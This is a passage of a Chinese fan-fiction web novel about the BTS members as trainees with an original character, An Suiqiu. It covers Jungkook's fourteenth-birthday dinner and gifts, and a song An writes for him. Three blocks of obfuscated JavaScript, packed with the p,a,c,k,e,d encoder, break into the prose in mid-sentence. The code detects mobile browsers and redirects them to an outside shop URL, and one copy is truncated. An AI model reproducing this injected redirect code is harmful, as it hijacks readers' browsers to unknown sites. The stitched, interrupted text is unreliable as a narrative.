安岁秋更疑惑了,金硕珍长得帅,气质温柔,被小女生搭讪不是很正常吗? 郑号锡终于笑够了,抹了抹眼角,努力板起脸,但颤抖的肩膀出卖了他,“是被一位老师搭讪的,人家问他,‘这位家长,您是在等孩子吗?’哈哈哈哈……” “我看起来有那么老吗?我才二十!” 金硕珍坚信,一定是南俊、玧其、号锡他们看起来太不羁,衬托得自己格外“稳重持家”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394859|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呀,郑号锡你还笑!我这么辛苦是为了谁?要不是天天早起给你们这群小子做早饭、操心这个操心那个,我能提前步入家长行列吗……” 金硕珍开启碎碎念模式,语速快且逻辑自洽。 安岁秋安静听着,默默点头:嗯,肺活量真好,不愧是隐藏的rap潜力股。 闵玧其伸手揽过安岁秋的肩膀,带着他向停在路边的车子走去,懒洋洋地打断那边的争论,“别吵了,走了,吃饭。” 提到这辆车,还有段插曲,公司原本并未给未出道的练习生配备交通工具,大家平时上下课全靠步行或公共交通。 但是安岁秋想起自己初中时曾做公交被认出来的那件事。 那天他差点以为自己要被迫迟到了,好在最终卡点进了教室,之后就都是FNC的哥哥们开车接送他上学了。 安岁秋罕见地主动给自己那在中国快活的妈妈打了电话。 一周后,经纪人宋浩范就告知大家,公司争取到了一辆赞助的现代H-1辉翼八座商务车[1],用于练习生集体出行,顺便还给练习室和创作室更新了一批设备。 “空调!大发!” 金泰亨的欢呼几乎掀翻屋顶。 宋浩范看向安岁秋,欲言又止,安岁秋却将食指竖在唇边,灵动地眨了眨眼。 嘘—— 他满意地看着经纪人哥哥闭上了嘴,却没注意到一旁闵玧其若有所思的目光。 于是当晚,安岁秋就被大哥金硕珍和二哥闵玧其“请”进了小房间。 “车和设备,是你安排的?”闵玧其开门见山。 “嗯,是我。” 安岁秋坦然点头,他本无意隐瞒,只是担心自尊心强的哥哥们会有负担,既然问了他便实话实说。 “我妈在现代汽车工作,用了些员工福利和关系,不算太麻烦。” 闵玧其无声地叹了口气,什么样的“员工福利”能轻易搞来一辆商务车,还有那些价值不菲的专业设备?他想起创作室里崭新的键盘、高配电脑和录音麦克风,心情复杂。 闵玧其很早就跟家庭因为音乐梦闹翻了,半大少年在首尔一个人生活,在遇到方时赫之前可能是吃了上顿没有下顿的可怜情况。 即使后来当了练习生情况也没有好转很多。闵玧其依旧会在晚上出去打工补贴,做完便利店收银员还要去送外卖,他比这群哥哥弟弟们更要了解社会的黑暗,所以对弟弟的心意显得就更加束手无策。 金硕珍家境也不错,接受度反而高些,只是温柔地注视着弟弟。 安岁秋看出闵玧其的顾虑,进一步解释,“哥,真的不麻烦。” “我家……条件还可以,爷爷有些房产投资,爸爸开了连锁咖啡店,生意不错,之前给大家带的那些咖啡,也是从自家店里拿的。” 话没说完,脸颊就被金硕珍轻轻捏了捏。 “好了好了,小少爷。” 金硕珍笑道,“知道你有心了,不过下次再有这种事,先跟哥哥们商量一下好不好?不然我们糊里糊涂就受了,心里会过意不去,显得像不懂感激似的。” 安岁秋却突然抬手,不轻不重地拍掉了金硕珍的手,眉头微蹙,语气是罕见的认真,“什么啊,明明是我受哥哥们照顾更多。” “硕珍哥天天早起做饭、收拾屋子,玧其哥总记得给我们带夜宵、教我写歌,南俊哥教我写词和rap,号锡哥盯我跳舞,泰亨哥和柾国也总关心我……” 他掰着手指数,两个月来的点滴温暖清晰如昨,金泰亨当初那句“都是大好人”,他如今深有体会,他是真的喜欢这群哥哥,所以不愿因此产生隔阂。 闵玧其忽然抬手,指尖在安岁秋额头上不轻不重地弹了一下,打断他的列举,他声音低沉,带着不容置疑的意味。 “没有下次。” 安岁秋愣了一秒,随即眼睛一亮,迅速伸手缠住闵玧其的胳膊,像只终于得到许可的树袋熊,连连点头。 “嗯!保证!” 金硕珍跟在他们身后,看着闵玧其表面嫌弃、却并未真正用力甩开胳膊上“挂件”的模样,脸上露出了无奈又宠溺的笑容。 夏末的风穿过走廊,带着渐浓的秋意,也吹散了最后一点微妙的隔阂。 ----------------------- 参考文献: [11] 现代汽车. 现代H-1辉翼[Vehicle]. 八座商务MPV,2011款。 11. 群体识别 闵玧其的驾照尚在考取中,于是驾驶这辆崭新商务车的重任,便自然而然地落在了唯一拥有正式驾照的靠谱成年人——金硕珍肩上。 他们的第一站是蛋糕店。 今天是9月1日,不仅是安岁秋高中开学的日子[1],也恰好是田柾国的十四岁生日。 小家伙早上出门前还眼巴巴地闹着要去参加安岁秋的开学典礼,被安岁秋连哄带劝地拦下了。 “我有四个家长已经够醒目了,再加你们两个未成年人,是去开派对吗?” 口罩的存在感在那样的阵容面前恐怕会趋近于零。 安岁秋费了好一番口舌,并许下“下次单独带你去游乐园,不带别人”的承诺,才让忙内勉强安分下来。 金泰亨有点吃味,但自觉身为哥哥,拉不下脸像田柾国那样撒娇打滚,他退而求其次,只要求安岁秋给他买一周的冰淇淋作为补偿,并觉得自己十分懂事。 金南俊私下觉得,带不带那俩小的其实差别不大,毕竟安岁秋加上他们四个哥哥的阵容已经足够突出。 不过,看着弟弟们为了这点小事斗嘴打闹的模样,他只觉得可爱。 我们热爱一切萌物的Rap Monster先生如此想到。 蛋糕店是郑号锡推荐的,他提前电话预订了一个八寸的燕麦芝士蛋糕。 鉴于安岁秋那对大部分水果过敏的特殊体质,他特意叮嘱店家:什么水果都不要加,只要燕麦、芝士和奶油。 取完蛋糕,一行人回宿舍接上望眼欲穿的金泰亨和今日的小寿星田柾国,驱车前往江南区近期颇受好评的一家烤肉店。 伙食费大家都有分摊,让田柾国一个孩子买单这种事他们做不出来,于是几个哥哥又悄悄往公共伙食费里多塞了些钱,决定用这笔饱满的经费带孩子们吃顿好的。 “财务总管”郑号锡对着账目上那笔心照不宣的“假账”沉默不语。这里面也有他的一份贡献,他只是默默将蛋糕从六寸升级到了八寸,并心情愉悦地订好了时间。 车上,安岁秋拿出手机,回复了FNC哥哥们发来的消息,他们其实也想来参加他的开学典礼,但如今正值乐队活动上升期,行程密集,别说安岁秋不同意,经纪人那关也过不了。 指尖触到口袋里一个硬硬的小三角——那是李弘基上个月从日本带回的礼物,一枚刻着“Chu.”字样的贝斯拨片。“秋”字的罗马音是“Chu”,也是安岁秋进行音乐创作时使用的署名。 想起上个月那场略显慌乱的闹剧,安岁秋嘴角微扬。 当时,结束日本巡演的李弘基一行,带着给弟弟的礼物兴冲冲赶回公司,却只见到郑容和三人,面面相觑,这才惊觉自家忙内“留下一首歌就跑路了”,且完全没通知他们这群漂泊在外的哥哥。 其实郑容和比安岁秋更心虚。 弟弟明明托他转告李弘基等人,因为自己练习的时间总是跟他们表演的时间重合,搞得日本和韩国也产生了交流时差。 可他忙着准备新专辑,转头就把这事忘了,导致李弘基回来后一度以为孩子“离家出走”了。 郑容和只得硬着头皮,向脸色不善的几位哥复述了前因后果,并极力为弟弟说好话,还拿出那首礼物曲播放。 金南俊从未想过,公司那间狭小的练习室里,会同时挤进那么多位知名艺人——乐队大前辈FTISLAND,以及年初爆红的CNBLUE,其中包括常在大银幕上见到的李弘基和郑容和。 他们齐刷刷站在墙边,对面则是一脸心虚的安岁秋。 田柾国当时紧紧攥着安岁秋的手,生怕这群看起来气势汹汹的前辈会把哥哥带走。金泰亨没完全看懂气氛,小声惊呼“是明星诶”,被身后的金硕珍迅速捂嘴拉回。 郑号锡紧张地咽了咽口水,担心下一秒会不会吵起来。 还是闵玧其最镇定,他推了推堵在门口发呆的金南俊,率先上前,弯腰行了标准的九十度鞠躬礼,用他特有的低沉嗓音道:“前辈们好。” 他不太理解金南俊在紧张什么,安岁秋是自愿来的,又不是被绑架拐来的。 就算当初方时赫有忽悠的成分,但安岁秋在这里明明过得不错,况且,这几位前辈脸上也看不出多少兴师问罪的意味。 果然,下一秒郑容和他们就绷不住笑了,严肃的扑克脸瞬间瓦解。 李弘基把从日本带回来的伴手礼分给这群看起来清瘦却眼神明亮的练习生们。 其实他们年龄相差并不大,除了89年的郑容和,两个乐队的成员多是91、92年生。算起来,就连92年12月出生的金硕珍,也比他们所有人都小——全是弟弟。 郑容和他们此行,主要是想亲眼看看自家小忙内在新环境过得如何,眼见为实,虽然经济条件看起来简朴,但安岁秋的气色和精神似乎比以往更开朗,身边也有了同龄的伙伴,他们总算放下心来。 李弘基揉了揉安岁秋的头发,将那枚刻着“Chu.”的拨片递给他,“歌听了,写得很好。公司已经决定用它当下一张专辑的主打之一了。” 安岁秋抿了抿唇,难得主动地上前,轻轻拥抱了一下许久未见的哥哥。 一旁的姜敏赫挑了挑眉。 哟,看来他们的小忙内在这里确实变得更开朗了,以前可很少见他会主动做出这么亲昵的举动。 随即,他就看到李正信正弯着腰,兴致勃勃地和对面一个长相帅气的男孩聊着什么,两人居然沟通无障碍。 该说不愧都是“四次元”生物吗? 金泰亨和李正信的脑电波意外地对上了。 一群二十岁上下的年轻人,本就没有太多隔阂,最初的尴尬很快消散。 练习室的气氛迅速热络起来,尤其当田柾国睁着圆溜溜的眼睛,好奇地向李弘基他们打听安岁秋以前的事时,那副乖巧的模样,瞬间击中了在场所有哥哥的心。 也是在那次,金硕珍他们才知道,那首红极一时的《孤独的人》的署名制作人“Chu.”,就是安岁秋。 他们早知道弟弟会创作,也听过一些未发布的作品片段,却未曾将他与那个已有成功作品的音乐人联系起来。 金南俊和闵玧其的反应尤其大,作为深度参与创作的成员,他们都知道,不少音乐人会在Naver博客上分享作品片段或完整Beat。 一个署名“Chu.”的创作者,大约两年前开始上传作品,从几十秒的片段到近年完整的免费Beat,进步神速,闵玧其还曾感慨过此人天赋不错。 谁能想到,扒下这个马甲,露出的会是自家弟弟那张漂亮的脸。 “果然天才就是天才啊。”金南俊感慨道。 这么一想,安岁秋平时在创作室捣鼓的那些旋律,确实带有“Chu.”的风格印记,只是他从偏乐队的风格转向嘻哈与流行的跨度有些大,一时没联想起来。 田柾国和金泰亨的反应则更直接。 自那次聚餐后,两个乐队的歌迅速被加入他们的歌单,动不动就哼着《孤独的人》的调子在安岁秋面前晃,还煞有介事地弹着“空气吉他”、敲着“空气架子鼓”,把安岁秋逗得忍俊不禁。 最后还是闵实权出手,一人赏了一记不轻不重的“铁砂掌”,世界才重归清净。 郑号锡默默竖起大拇指,他俩再不停,他感觉自己晚上做梦都会是那段旋律,上厕所都能脑补出伴奏。 “烤肉!烤肉!” 一进餐厅,金泰亨和田柾国就兴奋起来。他们一个艺术高中尚未开学,一个初中生假期余额充足,被闷在宿舍大半天,早就憋坏了,好在哥哥们参加完开学典礼回来得不算太晚。 排烟管道嗡嗡作响,烤盘上的五花肉滋滋冒油,金黄色的油脂顺着肉的纹理滑落,滴在炭火上,“滋啦”一声窜起一小簇带着焦香的白烟。 “哥!再烤一块!我要瘦一点的!”田柾国扒着烤盘边缘,眼睛紧盯着金硕珍手里的烤肉夹。 旁边的闵玧其抬手拍了下他的后脑勺,“急什么,碗里不是还有吗?” 金硕珍熟练地用夹子给肉翻面,待两面都烤出漂亮的焦褐色,才夹起来放进忙内碗里,“慢点吃,烫,没人跟你抢。” 角落里的金泰亨没说话,左手攥着一听冰可乐,右手筷子迅如闪电,夹起一片烤得恰到好处的牛舌,蘸了点酱料,利落地卷进生菜里,塞进嘴时腮帮子鼓鼓的,含糊不清地催促,“我要吃蛋糕!” 郑号锡则专注于另一项任务,他将一片烤得鲜嫩多汁的五花肉仔细卷进生菜,吹了吹,确认温度适宜,然后反手就塞进了旁边安岁秋的嘴里。 “来。” 安岁秋实在太瘦了,明明是该是胶原蛋白满满的年纪,却有着瘦骨嶙峋的漂亮,偏偏胃口又小,吃几口就放下筷子。 若不是他和金硕珍偶然发现这种投喂方式颇为有效,他们真担心高强度训练下,这孩子哪天会体力不支。 虽然需要额外花心思“哄”着弟弟吃饭,但金硕珍和郑号锡丝毫不觉麻烦,看着安岁秋鼓着腮帮子,睁着那双漂亮的眸子慢慢咀嚼的模样,那份满足感甚至胜过美食本身。 另一边,金南俊正小心翼翼地拆着蛋糕盒的丝带,动作轻柔得像在拆炸弹,总算平安无事地将蛋糕完整取出。 八寸的蛋糕,表层铺满了浅金棕色的烘烤燕麦碎,混合着碾碎的碧根果,颗粒分明,边缘微焦,散发着质朴温暖的谷物香气。 金硕珍从旁边的礼品袋里拿出生日帽,戴在田柾国圆圆的脑袋上。 闵玧其用他那骨节分明、适合弹琴的手,在蛋糕中央插上三根细长的蜡烛,摸出打火机,“咔哒”一声点燃。烛芯跃起温暖的光晕,在包厢略显昏暗的光线下轻轻摇曳。 金泰亨嘴里还嚼着肉,却已蹦跳着起身,冲着后厨中气十足地喊:“阿姨!麻烦关一下这边的灯——!” 嗓门洪亮,引得邻桌几个戴棒球帽的女生好奇地侧目。 “啪。” 顶灯应声熄灭。 唯一的光源只剩下蛋糕上那三簇小小的火苗,将围拢过来的少年们的脸庞映得暖融融的,也将他们的影子长长地投在墙壁上。 烤肉的烟气尚未散尽,空气中又融入了奶油与焦糖的甜香。 田柾国双手合十,紧闭双眼,长长的睫毛在烛光中微微颤动。在几道音色各异、却同样真挚的“生日快乐”歌声中,他许下了一个属于十四岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394860|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年的、郑重而美好的心愿。 “生日快乐,田柾国!” 最后,是安岁秋和田柾国一起吹灭了蜡烛。 田柾国非要拉着他一起,振振有词,“今天也是岁秋哥的开学典礼,也值得庆祝!” 安岁秋对弟弟的撒娇毫无抵抗力,于是两个忙内便头挨着头,脸贴着脸,一起凑近那团温暖的烛光,轻轻吹气。 在光明彻底被黑暗吞没前的最后一瞬,跃动的火光清晰地勾勒出两双漂亮的眼眸。一双圆润明亮,正侧头望向身旁的另一双;另一双则眼尾微垂,含着纵容的笑意。 烛火熄灭后的短暂黑暗被重新亮起的灯光驱散,角落里恢复明亮,田柾国还保持着双手合十的姿势,眼睛亮晶晶的,嘴角是压不住的笑意。 “好了,小寿星,准备收礼物了。”金硕珍笑着拍了拍手。 “还有礼物?”田柾国惊喜地睁大圆眼。 他们以前没有给互相送生日礼物的习惯,都是一起聚餐简单庆祝一下就行了,但是安岁秋是个很有仪式感的孩子,私底下偷偷找了哥哥们商量着打算给忙内一个小惊喜。 “那当然。”郑号锡第一个递过来一个印着书店Logo的崭新纸袋,看起来颇有分量。 “柾国啊,看看这个。” 田柾国小心拆开——是一套全新的《守护甜心》漫画全集[2],封皮色彩鲜亮,书脊整齐。 “上次看你一直在看这个动漫,想着你会喜欢,”郑号锡眼睛弯弯的,“正好出了新的合订版,就想着送你一套完整的。” 田柾国眼睛瞬间亮了,他确实一直很喜欢守护甜心,反正没人规定男生不能看少女漫啊。 “谢谢号锡哥!我会好好收藏的!” 闵玧其没说话,递过来一个崭新的运动鞋盒,上面还系着精致的缎带。 田柾国打开,里面是一双设计简约的白色运动板鞋,皮质柔软,鞋底干净。 “练习消耗大,鞋子磨损快,”闵玧其声音平静,“这双轻便,日常和练习都能穿,试试合不合脚。”他丝毫没提起自己因为准备礼物而熬夜上的几次夜班。 田柾国知道玧其哥平时话不多,但观察总是很细致,他珍重地摸了摸光滑的鞋面。 “谢谢玧其哥!正好我需要一双新鞋!” 金南俊拿出一个用淡紫色包装纸精心包裹的方形礼物,拆开后是IU的专辑《Last Fantasy》[3],专辑封面上IU的笑容清新甜美,塑封都还未拆。 田柾国看到封面时脸上的笑容更加灿烂了,“IU!新专辑!谢谢南俊哥!” 金泰亨的礼物包装得最为花哨,亮黄色的包装纸配上歪歪扭扭的红色蝴蝶结。里面是一个手工制作的黏土玩偶,造型依稀能看出是只咧嘴笑的兔子,虽然手艺稚嫩,但憨态可掬,背后还用记号笔写着“柾国”。 “我自己捏的!” 金泰亨得意地宣布,眼睛亮晶晶的,“花了我好几个晚上呢!像不像柾国?多可爱!” 田柾国看着那只有着独特造型却充满心意的兔子玩偶。 “像!特别可爱!谢谢泰亨哥!” 金硕珍最后拿出一个素雅的黑色礼品袋,从里面取出一件折叠整齐的浅灰色连帽卫衣,卫衣质地柔软,胸口处有一个精巧的宇航员图案刺绣。 “秋天快到了,想着该给我们柾国添件新衣服了,”金硕珍温声说,“图案喜欢吗?像我们柾国一样,未来有无限可能。” “谢谢哥哥们……” 田柾国声音有些哽咽,不知道还能说什么来表达此刻的心情,怀中那些礼物实实在在的温暖,几乎要烫到他的心口。 就在他努力平复翻涌的情绪时,低垂的视线里,突然出现了一只熟悉的手——手指修长白皙,骨节分明,手背上那颗浅褐色的小痣清晰可见。 那只手微微向前伸着,掌心安静地躺着一个扁平的、磨砂黑色的小方块,边角圆润,像一块光滑的鹅卵石。 田柾国顺着那只手抬头,对上了安岁秋的目光。 对方那双总是显得沉静从容的琥珀色眼眸里,此刻竟漾着一丝罕见的、不易察觉的紧张。他抿了抿唇,声音比平时轻了些,带着一种小心翼翼的试探,轻轻响在渐渐安静下来的空气里。 “柾国呀……” 他顿了顿,似乎在选择措辞,指尖无意识地摩挲了一下那个黑色小方块的边缘。 “我……写了首歌,你要不要……听听看?” 那句话很轻,却像一颗小石子,准确地投入田柾国本就涟漪荡漾的心。 ------------------------ 参考文献: [1] 韩国教育部. 韩国高中开学时间[Education]. 新学年通常为3月2日前后. 注:作者在文中时间设计有误。 [2] PEACH-PIT. 守护甜心![M]. 东京:讲谈社,2006–2010(全12卷). [3] IU. Last Fantasy[CD]. 首尔:LOEN Entertainment,2011-11-29. 注:时间有误,提早了三个月。 12. 创作验证 虽然是为田柾国写的歌,但第一个完整听到它的人,却是闵玧其。 那天下午,安岁秋抱着自己修修改改好几天的歌词本和录制好的简易demo,站在创作室门口犹豫了好一会儿。 门虚掩着,能看见闵玧其仰头靠在办公椅上,眼睛盯着天花板,眉头微蹙,他手边散落着几张写满又划掉的乐谱草稿,电脑屏幕上的工程文件暂停在某个不和谐的段落。 空气里弥漫着咖啡和一点未散的烟味——虽然公司禁烟,但闵玧其压力大时偶尔会溜到天台解决,痕迹难免残留。 安岁秋知道,这位哥最近被一首怎么改都不顺心的曲子困住了,已经在这间不大的创作室里泡了好几天。 他见过闵玧其专注作曲时的样子,下颌线紧绷,手指在鼠标和键盘上快速移动,偶尔会无意识地咬着下唇,周身散发着“生人勿近”的低气压。 但此刻,那低气压里更多是疲惫和一丝不易察觉的烦躁。 安岁秋是个有天赋且好学的孩子,闵玧其早就注意到。 他常常能看见对方抱着歌词本或拿着手机,蜷在练习室的角落或宿舍的灯下,专注地记录着什么,眉头时而紧锁时而舒展。那小小的、投入的身影,偶尔会让闵玧其恍惚看到多年前某个在地下工作室里倔强摸索的自己。 不过,安岁秋显然比他当年幸运,也更有眼力见。 这孩子黏在金南俊或者郑号锡身边请教写词的时间,可比凑到自己这儿多得多。 也好。 闵玧其撇撇嘴,带着点自己都不愿承认的微妙情绪想道,省得在身边叽叽喳喳问东问西,还要分心应付,带孩子可不容易。 虽然他好像……也没真正带过。 安岁秋其实不太明白,为什么金泰亨和田柾国有时候会有点怕闵玧其。 在他眼里,这位哥第一次见面时虽然表情淡淡的,但那双本不算大的眼睛在看到自己后,缓缓睁圆的模样,总让他不由得想起宿舍楼下那只总是矜持地蹲在墙头、被逗弄时却会忍不住瞳孔放大的小黑猫。 怪……可爱的。 而且,闵玧其虽然总是一副寡言少语、对什么都兴趣缺缺的酷盖模样,但安岁秋观察久了,发现他常常用最不耐烦的表情,做着最不符合“人设”的温柔事。 比如默默把最后一块肉夹给忙内,比如在大家累瘫时一声不响地去买回一堆饮料,比如察觉安岁秋嗓子不适后,什么都不说,随手抛过来一盒润喉糖。 更别提那副低沉中带着独特沙哑质感的嗓音,说话时总像含着磁石,听久了莫名让人觉得安心。 是个很有反差魅力、也很值得信赖的哥哥啊。安岁秋心想。 所以,他能大大方方地抱着半成品歌词去找金南俊,眼睛亮晶晶地追问“南俊哥,这里这样写会不会更好?”,却会在抱着自认为打磨得差不多的作品走向闵玧其的创作室时,莫名感到一阵踌躇。 他想把自己认真做出来的东西拿给闵玧其听,想看到对方或许只是微微挑一下眉,或者从鼻子里轻轻“嗯”一声的认可,这种心情,比对其他哥哥更急切,也更……拧巴。 很奇怪,他明明不是这种别扭的性格。 轻轻敲了敲门,在得到一声模糊的“进”之后,安岁秋推门走了进去。 闵玧其瞥了他一眼,目光落在他怀里的本子和连接着手机的耳机上,没说话,只是把椅子转正了些,意思很明显,有事说事。 “玧其哥。”安岁秋走近,把歌词本翻开到某一页,递过去,声音比平时轻一点。 “我……写了首歌,编曲也做了个简单的demo,能……帮我听听看吗?” 他顿了顿,又小声补充,“是准备给柾国的生日礼物……” 闵玧其接过本子,目光扫过那些清秀又偶尔带着涂改痕迹的字句。 看着看着,他原本有些涣散的眼神渐渐聚焦,眉头几不可察地动了一下,随即,那总是没什么表情的脸上,罕见地出现了一丝裂痕。 ……不是? 他抬起眼,看向站在旁边略显紧张的安岁秋,这孩子正眨着一双清澈见底、满是求知欲的琥珀色眼睛望着他,似乎在等待专业的点评。 闵玧其喉结滚动了一下,感觉嗓子有点干。 他指着歌词本上某几行明显描写细腻心绪和朦胧悸动的句子,干巴巴地开口,声音比平时更沙哑。 “你……谈恋爱了?” 问完觉得不够,又追补了一句,“有喜欢的人了?” “嗯?” 安岁秋明显愣了一下,脸上露出真实的困惑。 他顺着闵玧其的手指低头看了看自己写的歌词,恍然大悟, “啊,哥是说这个啊……” 他挠了挠脸颊,神情变得有些不好意思,但更多的是解释的认真。 “没有谈恋爱,我是……看最近那部很火的剧,有点感触,以前上演技课,老师教过代入法。” “我写歌的时候,有时候也会这样,给自己假设一个情境或者人物,试着去体会那种感情……这样写出来的东西会不会更真实一点?” “哥,你写歌的时候……不这样吗?” 安岁秋的眼神太干净,解释太坦然,反而让闵玧其一时语塞。 他该怎么说? 难道告诉这单纯的孩子,你玧其哥当年写那些青涩情歌,靠的是真实熬过夜的、酸涩又卑微的暗恋经历? 那也太丢脸了。 “……嗯。” 闵玧其最终只是含糊地应了一声,略显生硬地转移话题。 “demo呢?听听看。” 安岁秋立刻把耳机递过去一只,另一只戴在自己耳朵上,然后熟练地在手机上调出音频文件,按下播放。 前奏流淌而出的一瞬间,闵玧其微微蹙起的眉头便不自觉地放松了。 尼龙弦吉他拨奏出流畅而温暖的分解和弦,音色柔和,像傍晚穿过树叶缝隙的阳光。其间点缀着钟琴细碎清亮的叮咚声,宛如星光不经意洒落在旋律的河流里,瞬间营造出一种温柔中带着淡淡怅惘的基调。 仅仅是前奏,就足以抓住人的耳朵。 闵玧其一直知道安岁秋在旋律和乐器编排上有种天生的敏感和巧思,这孩子写的歌,前奏往往都极具辨识度和吸引力,是那种能在音乐软件上三秒内让人点击“喜欢”的程度。 这次的编曲虽然还只是简易demo,但骨架已经非常漂亮。 然后,安岁秋的声音加了进来。 闵玧其一直很喜欢他的音色,清亮却不单薄,像浸过泉水的玉石,质感温润,中低音区又带着一丝恰到好处的、慵懒的沙哑,辨识度极高。 他曾私下和金南俊嘀咕过,这嗓子不做歌手,去当声优也绝对能混得风生水起。 歌曲进入预副歌,情绪铺垫得层层递进,到了副歌,旋律线条自然上扬,但安岁秋的处理却很聪明。 他没有刻意拔高音调去炫技,反而用了一种略带气声的、收敛的唱法,将歌词里那份小心翼翼的期待、隐忍的委屈和少年人独有的倔强,揉进微微沙哑的尾音里,化成了一种笨拙却无比真诚的告白。 歌词确实如安岁秋自己所说,因为缺乏深刻的亲身经历,更像是白描一幅青春心事图景,没有太多复杂的隐喻和沉重的意义。 但正是这种清澈直接的表达,恰好契合了他干净的音色和流畅的旋律。 整首歌听下来,暖调的吉他、清脆的钟琴与清亮中带着沙哑的人声交织碰撞,既有英伦摇滚那种利落爽快的节奏感,又不失抒情曲的细腻绵长。是一首完成度很高、悦耳又动人的作品。 最后一个音符落下,创作室里安静了几秒,只有电脑散热扇发出轻微的嗡嗡声。 安岁秋有些忐忑地摘下耳机,看向闵玧其,后者还保持着刚才的姿势,目光落在虚空中的某一点,似乎在回味。 然后,闵玧其转过头,看向安岁秋。 那双常常没什么情绪的眼睛里,清晰地映出一点点光,嘴角似乎极其细微地向上牵动了一下。那副独特的、带着烟熏火燎般质感的低沉嗓音响起,比平时多了几分不易察觉的温和。 “做得好。” 时间拉回烤肉店的包厢。 田柾国珍而重之地戴上那副旧耳机,指尖小心翼翼地点开了MP3里那个唯一的、以他名字命名的音频文件。 前奏响起的瞬间,他圆圆的的眼睛就睁大了,随即,一抹完全无法控制的、带着傻气的灿烂笑容在他还沾着奶油的脸上绽开。 耳机里流淌出的,是他熟悉的岁秋哥的声音,却唱着从未听过的、温柔又真挚的旋律和歌词。 “请拥抱这样的我……”[1] 他完全沉醉进去了,周遭哥哥们的笑闹、碗碟的轻碰、甚至郑号锡凑过来喊他“柾国啊,蛋糕还吃吗?”的声音,都像隔着一层毛玻璃,变得模糊而遥远。 郑号锡疑惑地看了看田柾国那副明显是老旧型号的耳机,又伸手在他眼前晃了晃——没反应。 他小声嘀咕:“这耳机……隔音效果这么好的吗?” 知情的闵玧其挑了挑眉,没说话,只是淡定地又挖了一勺燕麦芝士蛋糕送进嘴里,细细品味了一下。 嗯,口感还行。不过对他来说,甜度还是稍微超标了点。 金泰亨可坐不住,好奇心像小猫爪子一样挠着他,没到两分钟,他就蹭到田柾国身边,一把搂住忙内的脖子,脸颊贴过去。 “柾国呀,也让哥听听!是不是安安给的秘密歌曲?” 一边说,手就一边去够耳机。 田柾国本能地躲了一下,但看着泰亨哥亮晶晶的、写满期待的眼睛,还是恋恋不舍地分了一只耳机给他。 很快,捂着另一只耳朵、专注倾听的脸上露出憨憨笑容的人,就变成了两个。 金南俊大概知道安岁秋在准备给柾国的礼物,也听过一些零散的旋律片段和早期的歌词草稿,但完整的编曲和演唱版本,他也是第一次有机会听到。 看着两个忙内脑袋凑在一起,脸上洋溢着如出一辙的沉醉和快乐,他忍不住抿出酒窝,脸上也露出了温柔的笑意。 他侧头看向安岁秋,对方正小口喝着水,目光落在田柾国身上,嘴角带着一丝浅淡却真实的满足。 生日的庆祝并未在烤肉店结束。 下午,一行人又浩浩荡荡地转向了电影院。昨天刚上映的《蓝盐》[2]成了田柾国的选择——他今天正好年满十四岁,跨过了这部电影的观看年龄分级,兴奋得眼睛发亮。 哥哥们自然毫无异议,陪寿星看电影是天经地义。 放映厅灯光暗下。 金硕珍上一次进电影院,还是和郑号锡一起,为了“补课”而去看的《熔炉》。尽管剧情早已被剧透得七七八八,但坐在大银幕前,看着自家弟弟饰演的全民秀在绝望中挣扎、最终走向毁灭时,那种震撼和心痛依然新鲜而尖锐。 走出影院时,他和郑号锡都沉默了很久,心里像压了块石头。 那之后的好几天,他们俩看安岁秋的眼神总是不自觉地带上一丝复杂的怜爱和心疼,仿佛透过眼前清爽干净的少年,还能看到那个满脸伤痕、眼神灰败的聋哑孩子。 安岁秋被他们那种怜惜的目光盯得浑身不自在,忍不住用眼神向一旁的闵玧其求救,希望这位看起来最冷静的哥能管管。 闵玧其接收到了信号,沉默地看了看那边沉浸在自己情绪里的金硕珍和郑号锡—— 嗯,一个是大哥,一个是编舞队长… 他几不可闻地叹了口气,最终只是默默挺直了总是微驼的背,不着痕迹地挪了半步,恰好挡住了那两人时不时飘过来的、过于“慈爱”的视线。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394861|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >管?他管不起。还是物理隔绝比较实际。 这次看的《蓝盐》是犯罪剧情片,氛围紧张,情节曲折。电影结束后,大家一边讨论着剧情和演员演技,一边随着散场的人流往外走。 安岁秋不知不觉放慢了脚步,和金硕珍并肩走在稍后一些的位置,他犹豫了一下,轻声开口,“硕珍哥。” “嗯?” 金硕珍侧头看他。 “你……会不会觉得有点遗憾?” 安岁秋问得有些小心,目光落在前方蹦蹦跳跳的田柾国和金泰亨身上。 “你以前,是想做演员的吧?高中读的也是演技学校,大学更是考进了戏剧电影系。被公司发掘时,应该也是朝着演员的方向……” “现在却在这里,每天练习唱跳,准备以偶像组合出道。” 安岁秋自己对于演员身份并无太多留恋,那三年的体验对他而言更像一段充实的学习和探索,尝试过了,便也知道了是否适合。 但金硕珍不同。 